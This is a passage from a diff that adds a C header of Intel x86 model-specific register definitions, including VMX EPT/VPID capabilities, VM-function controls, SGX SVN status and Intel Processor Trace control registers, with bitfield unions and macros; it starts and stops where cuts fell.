(IA32_VMX_PROCBASED_CTLS2[33] || + * IA32_VMX_PROCBASED_CTLS2[37]) ) + * @see Vol3D[A.10(VPID AND EPT CAPABILITIES)] + * @see Vol3D[A.10(VPID and EPT Capabilities)] (reference) + */ +#define IA32_VMX_EPT_VPID_CAP 0x0000048C +typedef union +{ + struct + { + /** + * [Bit 0] When set to 1, the processor supports execute-only translations by EPT. This support allows software to + * configure EPT paging-structure entries in which bits 1:0 are clear (indicating that data accesses are not allowed) and + * bit 2 is set (indicating that instruction fetches are allowed). + */ + uint64_t execute_only_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_BIT 0 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_FLAG 0x01 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 6] Indicates support for a page-walk length of 4. + */ + uint64_t page_walk_length_4 : 1; +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_BIT 6 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_FLAG 0x40 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4(_) (((_) >> 6) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 8] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be + * uncacheable (UC). + * + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP))] + */ + uint64_t memory_type_uncacheable : 1; +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_BIT 8 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_FLAG 0x100 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE(_) (((_) >> 8) & 0x01) + uint64_t reserved3 : 5; + + /** + * [Bit 14] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be + * write-back (WB). + */ + uint64_t memory_type_write_back : 1; +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_BIT 14 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_FLAG 0x4000 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK(_) (((_) >> 14) & 0x01) + uint64_t reserved4 : 1; + + /** + * [Bit 16] When set to 1, the logical processor allows software to configure a EPT PDE to map a 2-Mbyte page (by setting + * bit 7 in the EPT PDE). + */ + uint64_t pde_2mb_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_BIT 16 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_FLAG 0x10000 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] When set to 1, the logical processor allows software to configure a EPT PDPTE to map a 1-Gbyte page (by setting + * bit 7 in the EPT PDPTE). + */ + uint64_t pdpte_1gb_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_BIT 17 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_FLAG 0x20000 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES(_) (((_) >> 17) & 0x01) + uint64_t reserved5 : 2; + + /** + * [Bit 20] If bit 20 is read as 1, the INVEPT instruction is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_BIT 20 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_FLAG 0x100000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] When set to 1, accessed and dirty flags for EPT are supported. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t ept_accessed_and_dirty_flags : 1; +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_BIT 21 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_FLAG 0x200000 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS(_) (((_) >> 21) & 0x01) + + /** + * [Bit 22] When set to 1, the processor reports advanced VM-exit information for EPT violations. This reporting is done + * only if this bit is read as 1. + * + * @see Vol3C[27.2.1(Basic VM-Exit Information)] + */ + uint64_t advanced_vmexit_ept_violations_information : 1; +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_BIT 22 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_FLAG 0x400000 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION(_) (((_) >> 22) & 0x01) + uint64_t reserved6 : 2; + + /** + * [Bit 25] When set to 1, the single-context INVEPT type is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept_single_context : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_BIT 25 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_FLAG 0x2000000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT(_) (((_) >> 25) & 0x01) + + /** + * [Bit 26] When set to 1, the all-context INVEPT type is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept_all_contexts : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_BIT 26 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_FLAG 0x4000000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS(_) (((_) >> 26) & 0x01) + uint64_t reserved7 : 5; + + /** + * [Bit 32] When set to 1, the INVVPID instruction is supported. + */ + uint64_t invvpid : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_BIT 32 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_FLAG 0x100000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID(_) (((_) >> 32) & 0x01) + uint64_t reserved8 : 7; + + /** + * [Bit 40] When set to 1, the individual-address INVVPID type is supported. + */ + uint64_t invvpid_individual_address : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_BIT 40 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_FLAG 0x10000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS(_) (((_) >> 40) & 0x01) + + /** + * [Bit 41] When set to 1, the single-context INVVPID type is supported. + */ + uint64_t invvpid_single_context : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_BIT 41 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_FLAG 0x20000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT(_) (((_) >> 41) & 0x01) + + /** + * [Bit 42] When set to 1, the all-context INVVPID type is supported. + */ + uint64_t invvpid_all_contexts : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_BIT 42 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_FLAG 0x40000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS(_) (((_) >> 42) & 0x01) + + /** + * [Bit 43] When set to 1, the single-context-retaining-globals INVVPID type is supported. + */ + uint64_t invvpid_single_context_retain_globals : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_BIT 43 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_FLAG 0x80000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS(_) (((_) >> 43) & 0x01) + uint64_t reserved9 : 20; + }; + + uint64_t flags; +} ia32_vmx_ept_vpid_cap_register; + +/** + * @defgroup ia32_vmx_true_ctls \ + * IA32_VMX_TRUE_(x)_CTLS + * + * Capability Reporting Register of Pin-Based VM-Execution Flex Controls, Primary Processor-Based VM-Execution Flex + * Controls, VM-Exit Flex Controls and VM-Entry Flex Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + * @see Vol3D[A.3.1(Pin-Based VMExecution Controls)] (reference) + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] (reference) + * @see Vol3D[A.4(VM-Exit Controls)] (reference) + * @see Vol3D[A.5(VM-Entry Controls)] (reference) + * @{ + */ +#define IA32_VMX_TRUE_PINBASED_CTLS 0x0000048D +#define IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048E +#define IA32_VMX_TRUE_EXIT_CTLS 0x0000048F +#define IA32_VMX_TRUE_ENTRY_CTLS 0x00000490 +typedef union +{ + struct + { + /** + * [Bits 31:0] Indicate the allowed 0-settings of these controls. VM entry allows control X to be 0 if bit X in the MSR is + * cleared to 0; if bit X in the MSR is set to 1, VM entry fails if control X is 0. + */ + uint64_t allowed_0_settings : 32; +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_BIT 0 +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_FLAG 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_MASK 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 63:32] Indicate the allowed 1-settings of these controls. VM entry allows control X to be 1 if bit 32+X in the MSR + * is set to 1; if bit 32+X in the MSR is cleared to 0, VM entry fails if control X is 1. + */ + uint64_t allowed_1_settings : 32; +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_BIT 32 +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_FLAG 0xFFFFFFFF00000000 +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_MASK 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_vmx_true_ctls_register; + +/** + * @} + */ + + + /** + * Capability Reporting Register of VMFunction Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) + * @see Vol3D[A.11(VM FUNCTIONS)] + * @see Vol3D[24.6.14(VM-Function Controls)] (reference) + */ +#define IA32_VMX_VMFUNC 0x00000491 +typedef union +{ + struct + { + /** + * [Bit 0] The EPTP-switching VM function changes the EPT pointer to a value chosen from the EPTP list. + * + * @see Vol3C[25.5.5.3(EPTP Switching)] + */ + uint64_t eptp_switching : 1; +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_BIT 0 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_FLAG 0x01 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_MASK 0x01 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_vmx_vmfunc_register; + +/** + * @defgroup ia32_a_pmc \ + * IA32_A_PMC(n) + * + * Full Width Writable IA32_PMC(n) Alias. + * + * @remarks (If CPUID.0AH: EAX[15:8] > 0) && IA32_PERF_CAPABILITIES[13] = 1 + * @{ + */ +#define IA32_A_PMC0 0x000004C1 +#define IA32_A_PMC1 0x000004C2 +#define IA32_A_PMC2 0x000004C3 +#define IA32_A_PMC3 0x000004C4 +#define IA32_A_PMC4 0x000004C5 +#define IA32_A_PMC5 0x000004C6 +#define IA32_A_PMC6 0x000004C7 +#define IA32_A_PMC7 0x000004C8 + /** + * @} + */ + + + /** + * Allows software to signal some MCEs to only a single logical processor in the system. + * + * @remarks If IA32_MCG_CAP.LMCE_P = 1 + * @see Vol3B[15.3.1.4(IA32_MCG_EXT_CTL MSR)] + */ +#define IA32_MCG_EXT_CTL 0x000004D0 +typedef union +{ + struct + { + uint64_t lmce_en : 1; +#define IA32_MCG_EXT_CTL_LMCE_EN_BIT 0 +#define IA32_MCG_EXT_CTL_LMCE_EN_FLAG 0x01 +#define IA32_MCG_EXT_CTL_LMCE_EN_MASK 0x01 +#define IA32_MCG_EXT_CTL_LMCE_EN(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_mcg_ext_ctl_register; + + +/** + * @brief Status and SVN Threshold of SGX Support for ACM (RO) + * + * Intel SGX only allows launching ACMs with an Intel SGX SVN that is at the same level or higher than the expected Intel + * SGX SVN. The expected Intel SGX SVN is specified by BIOS and locked down by the processor on the first successful + * execution of an Intel SGX instruction that doesn't return an error code. Intel SGX provides interfaces for system + * software to discover whether a non faulting Intel SGX instruction has been executed, and evaluate the suitability of the + * Intel SGX SVN value of any ACM that is expected to be launched by the OS or the VMM. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] (reference) + */ +#define IA32_SGX_SVN_STATUS 0x00000500 +typedef union +{ + struct + { + /** + * [Bit 0] - If 1, indicates that a non-faulting Intel SGX instruction has been executed, consequently, launching a + * properly signed ACM but with Intel SGX SVN value less than the BIOS specified Intel SGX SVN threshold would lead to an + * TXT shutdown. + * - If 0, indicates that the processor will allow a properly signed ACM to launch irrespective of the Intel SGX SVN value + * of the ACM. + * + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] + */ + uint64_t lock : 1; +#define IA32_SGX_SVN_STATUS_LOCK_BIT 0 +#define IA32_SGX_SVN_STATUS_LOCK_FLAG 0x01 +#define IA32_SGX_SVN_STATUS_LOCK_MASK 0x01 +#define IA32_SGX_SVN_STATUS_LOCK(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 15; + + /** + * @brief Reflects the expected threshold of Intel SGX SVN for the SINIT ACM + * + * [Bits 23:16] - If CPUID.01H:ECX.SMX = 1, this field reflects the expected threshold of Intel SGX SVN for the SINIT ACM. + * - If CPUID.01H:ECX.SMX = 0, this field is reserved (0). + * + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] + */ + uint64_t sgx_svn_sinit : 8; +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_BIT 16 +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_FLAG 0xFF0000 +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_MASK 0xFF +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT(_) (((_) >> 16) & 0xFF) + uint64_t reserved2 : 40; + }; + + uint64_t flags; +} ia32_sgx_svn_status_register; + + +/** + * Trace Output Base Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0): ECX[0] = 1) || + * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) + * @see Vol3C[35.2.7.7(IA32_RTIT_OUTPUT_BASE MSR)] (reference) + */ +#define IA32_RTIT_OUTPUT_BASE 0x00000560 +typedef union +{ + struct + { + uint64_t reserved1 : 7; + + /** + * @brief Base physical address + * + * [Bits 47:7] The base physical address. How this address is used depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This is the base physical address of a single, contiguous physical output region. This could be mapped to DRAM or + * to MMIO, depending on the value. The base address should be aligned with the size of the region, such that none of the + * 1s in the mask value overlap with 1s in the base address. If the base is not aligned, an operational error will result. + * - 1: The base physical address of the current ToPA table. The address must be 4K aligned. Writing an address in which + * bits 11:7 are non-zero will not cause a \#GP, but an operational error will be signaled once TraceEn is set. + * + * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] + * @see Vol3C[35.3.9(Operational Errors)] + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] + */ + uint64_t base_physical_address : 41; +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_BIT 7 +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_FLAG 0xFFFFFFFFFF80 +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS_MASK 0x1FFFFFFFFFF +#define IA32_RTIT_OUTPUT_BASE_BASE_PHYSICAL_ADDRESS(_) (((_) >> 7) & 0x1FFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_rtit_output_base_register; + + +/** + * Trace Output Mask Pointers Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && ( (CPUID.(EAX=14H,ECX=0):ECX[0] = 1) || + * (CPUID.(EAX=14H,ECX=0):ECX[2] = 1) ) ) + * @see Vol3C[35.2.7.8(IA32_RTIT_OUTPUT_MASK_PTRS MSR)] (reference) + */ +#define IA32_RTIT_OUTPUT_MASK_PTRS 0x00000561 +typedef union +{ + struct + { + /** + * [Bits 6:0] Forced to 1, writes are ignored. + */ + uint64_t lower_mask : 7; +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_BIT 0 +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_FLAG 0x7F +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK_MASK 0x7F +#define IA32_RTIT_OUTPUT_MASK_PTRS_LOWER_MASK(_) (((_) >> 0) & 0x7F) + + /** + * @brief MaskOrTableOffset + * + * [Bits 31:7] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This field holds bits 31:7 of the mask value for the single, contiguous physical output region. The size of this + * field indicates that regions can be of size 128B up to 4GB. This value (combined with the lower 7 bits, which are + * reserved to 1) will be ANDed with the OutputOffset field to determine the next write address. All 1s in this field + * should be consecutive and starting at bit 7, otherwise the region will not be contiguous, and an operational error will + * be signaled when TraceEn is set. + * - 1: This field holds bits 27:3 of the offset pointer into the current ToPA table. This value can be added to the + * IA32_RTIT_OUTPUT_BASE value to produce a pointer to the current ToPA table entry, which itself is a pointer to the + * current output region. In this scenario, the lower 7 reserved bits are ignored. This field supports tables up to 256 + * MBytes in size. + * + * @see Vol3C[35.3.9(Operational Errors)] + */ + uint64_t mask_or_table_offset : 25; +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_BIT 7 +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_FLAG 0xFFFFFF80 +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET_MASK 0x1FFFFFF +#define IA32_RTIT_OUTPUT_MASK_PTRS_MASK_OR_TABLE_OFFSET(_) (((_) >> 7) & 0x1FFFFFF) + + /** + * @brief Output Offset + * + * [Bits 63:32] The use of this field depends on the value of IA32_RTIT_CTL.ToPA: + * - 0: This is bits 31:0 of the offset pointer into the single, contiguous physical output region. This value will be + * added to the IA32_RTIT_OUTPUT_BASE value to form the physical address at which the next byte of packet output data will + * be written. This value must be less than or equal to the MaskOrTableOffset field, otherwise an operational error will be + * signaled when TraceEn is set. + * - 1: This field holds bits 31:0 of the offset pointer into the current ToPA output region. This value will be added to + * the output region base field, found in the current ToPA table entry, to form the physical address at which the next byte + * of trace output data will be written. This value must be less than the ToPA entry size, otherwise an operational error + * will be signaled when TraceEn is set. + * + * @see Vol3C[35.3.9(Operational Errors)] + */ + uint64_t output_offset : 32; +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_BIT 32 +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_FLAG 0xFFFFFFFF00000000 +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET_MASK 0xFFFFFFFF +#define IA32_RTIT_OUTPUT_MASK_PTRS_OUTPUT_OFFSET(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_rtit_output_mask_ptrs_register; + + +/** + * Trace Control Register. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) + * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] (reference) + */ +#define IA32_RTIT_CTL 0x00000570 +typedef union +{ + struct + { + /** + * @brief TraceEn + * + * [Bit 0] If 1, enables tracing; else tracing is disabled. + * When this bit transitions from 1 to 0, all buffered packets are flushed out of internal buffers. A further store, fence, + * or architecturally serializing instruction may be required to ensure that packet data can be observed at the trace + * endpoint. + * Note that the processor will clear this bit on \#SMI (Section) and warm reset. Other MSR bits of IA32_RTIT_CTL (and + * other trace configuration MSRs) are not impacted by these events. + * + * @see Vol3C[35.2.7.3(Enabling and Disabling Packet Generation with TraceEn)] + */ + uint64_t trace_enabled : 1; +#define IA32_RTIT_CTL_TRACE_ENABLED_BIT 0 +#define IA32_RTIT_CTL_TRACE_ENABLED_FLAG 0x01 +#define IA32_RTIT_CTL_TRACE_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_TRACE_ENABLED(_) (((_) >> 0) & 0x01) + + /** + * @brief CYCEn + * + * [Bit 1] - 0: Disables CYC Packet. + * - 1: Enables CYC Packet. + * + * @remarks If CPUID.(EAX=14H, ECX=0):EBX.CPSB_CAM[bit 1] = 0 + * @see Vol3C[35.4.2.14(Cycle Count (CYC) Packet)] + */ + uint64_t cyc_enabled : 1; +#define IA32_RTIT_CTL_CYC_ENABLED_BIT 1 +#define IA32_RTIT_CTL_CYC_ENABLED_FLAG 0x02 +#define IA32_RTIT_CTL_CYC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_CYC_ENABLED(_) (((_) >> 1) & 0x01) + + /** + * @brief OS + * + * [Bit 2] - 0: Packet generation is disabled when CPL = 0. + * - 1: Packet generation may be enabled when CPL = 0. + */ + uint64_t os : 1; +#define IA32_RTIT_CTL_OS_BIT 2 +#define IA32_RTIT_CTL_OS_FLAG 0x04 +#define IA32_RTIT_CTL_OS_MASK 0x01 +#define IA32_RTIT_CTL_OS(_) (((_) >> 2) & 0x01) + + /** + * @brief User + * + * [Bit 3] - 0: Packet generation is disabled when CPL > 0. + * - 1: Packet generation may be enabled when CPL > 0. + */ + uint64_t user : 1; +#define IA32_RTIT_CTL_USER_BIT 3 +#define IA32_RTIT_CTL_USER_FLAG 0x08 +#define IA32_RTIT_CTL_USER_MASK 0x01 +#define IA32_RTIT_CTL_USER(_) (((_) >> 3) & 0x01) + + /** + * @brief PwrEvtEn + * + * [Bit 4] - 0: Power Event Trace packets are disabled. + * - 1: Power Event Trace packets are enabled. + * + * @see Vol3C[35.2.3(Power Event Tracing)] + */ + uint64_t power_event_trace_enabled : 1; +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_BIT 4 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_FLAG 0x10 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_POWER_EVENT_TRACE_ENABLED(_) (((_) >> 4) & 0x01) + + /** + * @brief FUPonPTW + * + * [Bit 5] - 0: PTW packets are not followed by FUPs. + * - 1: PTW packets are followed by FUPs. + */ + uint64_t fup_on_ptw : 1; +#define IA32_RTIT_CTL_FUP_ON_PTW_BIT 5 +#define IA32_RTIT_CTL_FUP_ON_PTW_FLAG 0x20 +#define IA32_RTIT_CTL_FUP_ON_PTW_MASK 0x01 +#define IA32_RTIT_CTL_FUP_ON_PTW(_) (((_) >> 5) & 0x01) + + /** + * @brief FabricEn + * + * [Bit 6] - 0: Trace output is directed to the memory subsystem, mechanism depends on IA32_RTIT_CTL.ToPA. + * - 1: Trace output is directed to the trace transport subsystem, IA32_RTIT_CTL.ToPA is ignored. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):ECX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):ECX[bit 3] = 0 + */ + uint64_t fabric_enabled : 1; +#define IA32_RTIT_CTL_FABRIC_ENABLED_BIT 6 +#define IA32_RTIT_CTL_FABRIC_ENABLED_FLAG 0x40 +#define IA32_RTIT_CTL_FABRIC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_FABRIC_ENABLED(_) (((_) >> 6) & 0x01) + + /** + * @brief CR3 filter + * + * [Bit 7] - 0: Disables CR3 filtering. + * - 1: Enables CR3 filtering. + */ + uint64_t cr3_filter : 1; +#define IA32_RTIT_CTL_CR3_FILTER_BIT 7 +#define IA32_RTIT_CTL_CR3_FILTER_FLAG 0x80 +#define IA32_RTIT_CTL_CR3_FILTER_MASK 0x01 +#define IA32_RTIT_CTL_CR3_FILTER(_) (((_) >> 7) & 0x01) + + /** + * @brief ToPA + * + * [Bit 8] - 0: Single-range output scheme enabled. + * - 1: ToPA output scheme enabled. + * + * @remarks 0: If CPUID.(EAX=14H, ECX=0):ECX.SNGLRGNOUT[bit 2] = 1 and IA32_RTIT_CTL.FabricEn=0 1: If CPUID.(EAX=14H, + * ECX=0):ECX.TOPA[bit 0] = 1, and IA32_RTIT_CTL.FabricEn=0 + * WRMSR to IA32_RTIT_CTL that sets TraceEn but clears this bit and FabricEn would cause \#GP: If CPUID.(EAX=14H, + * ECX=0):ECX.SNGLRGNOUT[bit 2] = 0 WRMSR to IA32_RTIT_CTL that sets this bit causes \#GP: If CPUID.(EAX=14H, + * ECX=0):ECX.TOPA[bit 0] = 0 + * @see Vol3C[35.2.6.2(Table of Physical Addresses (ToPA))] + */ + uint64_t topa : 1; +#define IA32_RTIT_CTL_TOPA_BIT 8 +#define IA32_RTIT_CTL_TOPA_FLAG 0x100 +#define IA32_RTIT_CTL_TOPA_MASK 0x01 +#define IA32_RTIT_CTL_TOPA(_) (((_) >> 8) & 0x01) + + /** + * @brief MTCEn + * + * [Bit 9] - 0: Disables MTC Packet. + * - 1: Enables MTC Packet. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[3] = 1) Reserved if CPUID.(EAX=14H, ECX=0):EBX.MTC[bit 3] = 0 + * @see Vol3C[35.4.2.16(Overflow (OVF) Packet)] + */ + uint64_t mtc_enabled : 1; +#define IA32_RTIT_CTL_MTC_ENABLED_BIT 9 +#define IA32_RTIT_CTL_MTC_ENABLED_FLAG 0x200 +#define IA32_RTIT_CTL_MTC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_MTC_ENABLED(_) (((_) >> 9) & 0x01) + + /** + * @brief TSCEn + * + * [Bit 10] - 0: Disable TSC packets. + * - 1: Enable TSC packets. + * + * @see Vol3C[35.4.2.11(Timestamp Counter (TSC) Packet)] + */ + uint64_t tsc_enabled : 1; +#define IA32_RTIT_CTL_TSC_ENABLED_BIT 10 +#define IA32_RTIT_CTL_TSC_ENABLED_FLAG 0x400 +#define IA32_RTIT_CTL_TSC_ENABLED_MASK 0x01 +#define IA32_RTIT_CTL_TSC_ENABLED(_) (((_) >> 10) & 0x01) + + /** + * @brief DisRETC + * + * [Bit 11] - 0: Enable RET compression. + * - 1: Disable RET compression. + * + * @see Vol3C[35.2.1.2(Indirect Transfer COFI)] + */ + uint64_t ret_compression_disabled : 1; +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_BIT 11 +#define IA32_RTIT_CTL_RET_COMPRESSION_DISABLED_FLAG 0x800 +#define 